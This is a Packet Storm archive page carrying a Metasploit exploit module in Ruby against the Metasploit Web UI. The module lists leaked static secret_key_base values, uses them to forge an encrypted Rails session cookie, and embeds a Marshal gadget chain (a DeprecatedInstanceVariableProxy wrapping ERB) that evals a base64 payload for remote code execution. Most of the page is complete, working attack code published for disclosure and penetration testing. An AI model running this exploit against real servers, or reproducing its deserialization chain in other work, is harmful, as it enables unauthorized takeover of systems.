what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Metasploit Web UI Static secret_key_base Value

Metasploit Web UI Static secret_key_base Value
Posted Sep 24, 2016
Authored by joernchen, Justin Steven | Site metasploit.com

This Metasploit module exploits the Web UI for Metasploit Community, Express and Pro where one of a certain set of Weekly Releases have been applied. These Weekly Releases introduced a static secret_key_base value. Knowledge of the static secret_key_base value allows for deserialization of a crafted Ruby Object, achieving code execution. This Metasploit module is based on exploits/multi/http/rails_secret_deserialization.

tags | exploit, web, code execution, ruby
SHA-256 | 0aed762884874a2a56109540ad0db42b6eefad643e2cf8d5c9179b0f1d8783a6

Metasploit Web UI Static secret_key_base Value

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

#Helper Classes copy/paste from Rails4
class MessageVerifier

class InvalidSignature < StandardError; end

def initialize(secret, options = {})
@secret = secret
@digest = options[:digest] || 'SHA1'
@serializer = options[:serializer] || Marshal
end

def generate(value)
data = ::Base64.strict_encode64(@serializer.dump(value))
"#{data}--#{generate_digest(data)}"
end

def generate_digest(data)
require 'openssl' unless defined?(OpenSSL)
OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)
end

end

class MessageEncryptor

module NullSerializer #:nodoc:

def self.load(value)
value
end

def self.dump(value)
value
end

end

class InvalidMessage < StandardError; end

OpenSSLCipherError = OpenSSL::Cipher::CipherError

def initialize(secret, *signature_key_or_options)
options = signature_key_or_options.extract_options!
sign_secret = signature_key_or_options.first
@secret = secret
@sign_secret = sign_secret
@cipher = options[:cipher] || 'aes-256-cbc'
@verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer)
# @serializer = options[:serializer] || Marshal
end

def encrypt_and_sign(value)
@verifier.generate(_encrypt(value))
end

def _encrypt(value)
cipher = new_cipher
cipher.encrypt
cipher.key = @secret
# Rely on OpenSSL for the initialization vector
iv = cipher.random_iv
#encrypted_data = cipher.update(@serializer.dump(value))
encrypted_data = cipher.update(value)
encrypted_data << cipher.final
[encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--")
end

def new_cipher
OpenSSL::Cipher::Cipher.new(@cipher)
end

end

class KeyGenerator

def initialize(secret, options = {})
@secret = secret
@iterations = options[:iterations] || 2**16
end

def generate_key(salt, key_size=64)
OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size)
end

end

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Metasploit Web UI Static secret_key_base Value',
'Description' => %q{
This module exploits the Web UI for Metasploit Community, Express and
Pro where one of a certain set of Weekly Releases have been applied.
These Weekly Releases introduced a static secret_key_base value.
Knowledge of the static secret_key_base value allows for
deserialization of a crafted Ruby Object, achieving code execution.

This module is based on
exploits/multi/http/rails_secret_deserialization
},
'Author' =>
[
'Justin Steven', # @justinsteven
'joernchen of Phenoelit <joernchen[at]phenoelit.de>' # author of rails_secret_deserialization
],
'License' => MSF_LICENSE,
'References' =>
[
['OVE', '20160904-0002'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401'],
['URL', 'https://github.com/justinsteven/advisories/blob/master/2016_metasploit_rce_static_key_deserialization.md']
],
'DisclosureDate' => 'Sep 15 2016',
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Privileged' => false,
'Targets' => [ ['Automatic', {} ] ],
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'SSL' => true
}
))

register_options(
[
Opt::RPORT(3790),
OptString.new('TARGETURI', [ true, 'The path to the Metasploit Web UI', "/"]),
], self.class)
end


#
# This stub ensures that the payload runs outside of the Rails process
# Otherwise, the session can be killed on timeout
#
def detached_payload_stub(code)
%Q^
code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first
if RUBY_PLATFORM =~ /mswin|mingw|win32/
inp = IO.popen("ruby", "wb") rescue nil
if inp
inp.write(code)
inp.close
end
else
Kernel.fork do
eval(code)
end
end
{}
^.strip.split(/\n/).map{|line| line.strip}.join("\n")
end

def check_secret(data, digest, secret)
data = Rex::Text.uri_decode(data)
keygen = KeyGenerator.new(secret,{:iterations => 1000})
sigkey = keygen.generate_key('signed encrypted cookie')
digest == OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('SHA1'), sigkey, data)
end

def get_secret(data, digest)
secrets = [
['4.12.0_2016061501', 'd25e9ad8c9a1558a6864bc38b1c79eafef479ccee5ad0b4b2ff6a917cd8db4c6b80d1bf1ea960f8ef922ddfebd4525fcff253a18dd78a18275311d45770e5c9103fc7b639ecbd13e9c2dbba3da5c20ef2b5cbea0308acfc29239a135724ddc902ccc6a378b696600a1661ed92666ead9cdbf1b684486f5c5e6b9b13226982dd7'],
['4.12.0_2016062101', '99988ff528cc0e9aa0cc52dc97fe1dd1fcbedb6df6ca71f6f5553994e6294d213fcf533a115da859ca16e9190c53ddd5962ddd171c2e31a168fb8a8f3ef000f1a64b59a4ea3c5ec9961a0db0945cae90a70fd64eb7fb500662fc9e7569c90b20998adeca450362e5ca80d0045b6ae1d54caf4b8e6d89cc4ebef3fd4928625bfc'],
['4.12.0_2016062101', '446db15aeb1b4394575e093e43fae0fc8c4e81d314696ac42599e53a70a5ebe9c234e6fa15540e1fc3ae4e99ad64531ab10c5a4deca10c20ba6ce2ae77f70e7975918fbaaea56ed701213341be929091a570404774fd65a0c68b2e63f456a0140ac919c6ec291a766058f063beeb50cedd666b178bce5a9b7e2f3984e37e8fde'],
['4.12.0_2016081001', '61c64764ca3e28772bddd3b4a666d5a5611a50ceb07e3bd5847926b0423987218cfc81468c84a7737c23c27562cb9bf40bc1519db110bf669987c7bb7fd4e1850f601c2bf170f4b75afabf86d40c428e4d103b2fe6952835521f40b23dbd9c3cac55b543aef2fb222441b3ae29c3abbd59433504198753df0e70dd3927f7105a'],
['4.12.0_2016081201', '23bbd1fdebdc5a27ed2cb2eea6779fdd6b7a1fa5373f5eeb27450765f22d3f744ad76bd7fbf59ed687a1aba481204045259b70b264f4731d124828779c99d47554c0133a537652eba268b231c900727b6602d8e5c6a73fe230a8e286e975f1765c574431171bc2af0c0890988cc11cb4e93d363c5edc15d5a15ec568168daf32'],
['4.12.0_2016083001', '18edd3c0c08da473b0c94f114de417b3cd41dace1dacd67616b864cbe60b6628e8a030e1981cef3eb4b57b0498ad6fb22c24369edc852c5335e27670220ea38f1eecf5c7bb3217472c8df3213bc314af30be33cd6f3944ba524c16cafb19489a95d969ada268df37761c0a2b68c0eeafb1355a58a9a6a89c9296bfd606a79615'],
['unreleased build', 'b4bc1fa288894518088bf70c825e5ce6d5b16bbf20020018272383e09e5677757c6f1cc12eb39421eaf57f81822a434af10971b5762ae64cb1119054078b7201fa6c5e7aacdc00d5837a50b20a049bd502fcf7ed86b360d7c71942b983a547dde26a170bec3f11f42bee6a494dc2c11ae7dbd6d17927349cdcb81f0e9f17d22c']
]
for secret in secrets
return secret if check_secret(data, digest, secret[1])
end
[nil, nil]
end

def build_signed_cookie(secret)
keygen = KeyGenerator.new(secret,{:iterations => 1000})
enckey = keygen.generate_key('encrypted cookie')
sigkey = keygen.generate_key('signed encrypted cookie')
crypter = MessageEncryptor.new(enckey, sigkey)

# Embed the payload within detached stub
code =
"eval('" +
Rex::Text.encode_base64(detached_payload_stub(payload.encoded)) +
"'.unpack('m0').first)"

# Embed code within Rails 4 popchain
cookie = "\x04\b" +
"o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b" +
":\x0E@instanceo" +
":\bERB\x07" +
":\t@src"+ Marshal.dump(code)[2..-1] +
":\x0c@lineno"+ "i\x00" +
":\f@method:\vresult:" +
"\x10@deprecatoro:\x1FActiveSupport::Deprecation\x00"

crypter.encrypt_and_sign(cookie)
end

def check
cookie_name = '_ui_session'

vprint_status("Checking for cookie #{cookie_name}")
res = send_request_cgi({
'uri' => datastore['TARGETURI'] || "/",
'method' => 'GET',
}, 25)

unless res
return Exploit::CheckCode::Unknown # Target didn't respond
end

if res.get_cookies.empty?
return Exploit::CheckCode::Unknown # Target didn't send us any cookies. We can't continue.
end

match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)

unless match
return Exploit::CheckCode::Unknown # Target didn't send us a session cookie. We can't continue.
end

if match[1] == cookie_name
vprint_status("Found cookie")
else
vprint_status("Adjusting cookie name to #{match[1]}")
cookie_name = match[1]
end

vprint_status("Searching for proper secret")

(version, secret) = get_secret(match[2], match[3])

if secret
vprint_status("Found secret, detected version #{version}")
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end

#
# Send the actual request
#
def exploit
cookie_name = '_ui_session'

print_status("Checking for cookie #{cookie_name}")

res = send_request_cgi({
'uri' => datastore['TARGETURI'] || "/",
'method' => 'GET',
}, 25)

unless res
fail_with(Failure::Unreachable, "Target didn't respond")
end

if res.get_cookies.empty?
fail_with(Failure::UnexpectedReply, "Target didn't send us any cookies. We can't continue.")
end

match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)

unless match
fail_with(Failure::UnexpectedReply, "Target didn't send us a session cookie. We can't continue.")
end

if match[1] == cookie_name
vprint_status("Found cookie")
else
print_status("Adjusting cookie name to #{match[1]}")
cookie_name = match[1]
end

print_status("Searching for proper secret")

(version, secret) = get_secret(match[2], match[3])

unless secret
fail_with(Failure::NotVulnerable, "SECRET not found, target not vulnerable?")
end

print_status("Found secret, detected version #{version}")

cookie = build_signed_cookie(secret)

print_status "Sending cookie #{cookie_name}"
res = send_request_cgi({
'uri' => datastore['TARGETURI'] || "/",
'method' => 'GET',
'headers' => {'Cookie' => cookie_name+"="+ cookie},
}, 25)

handler
end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close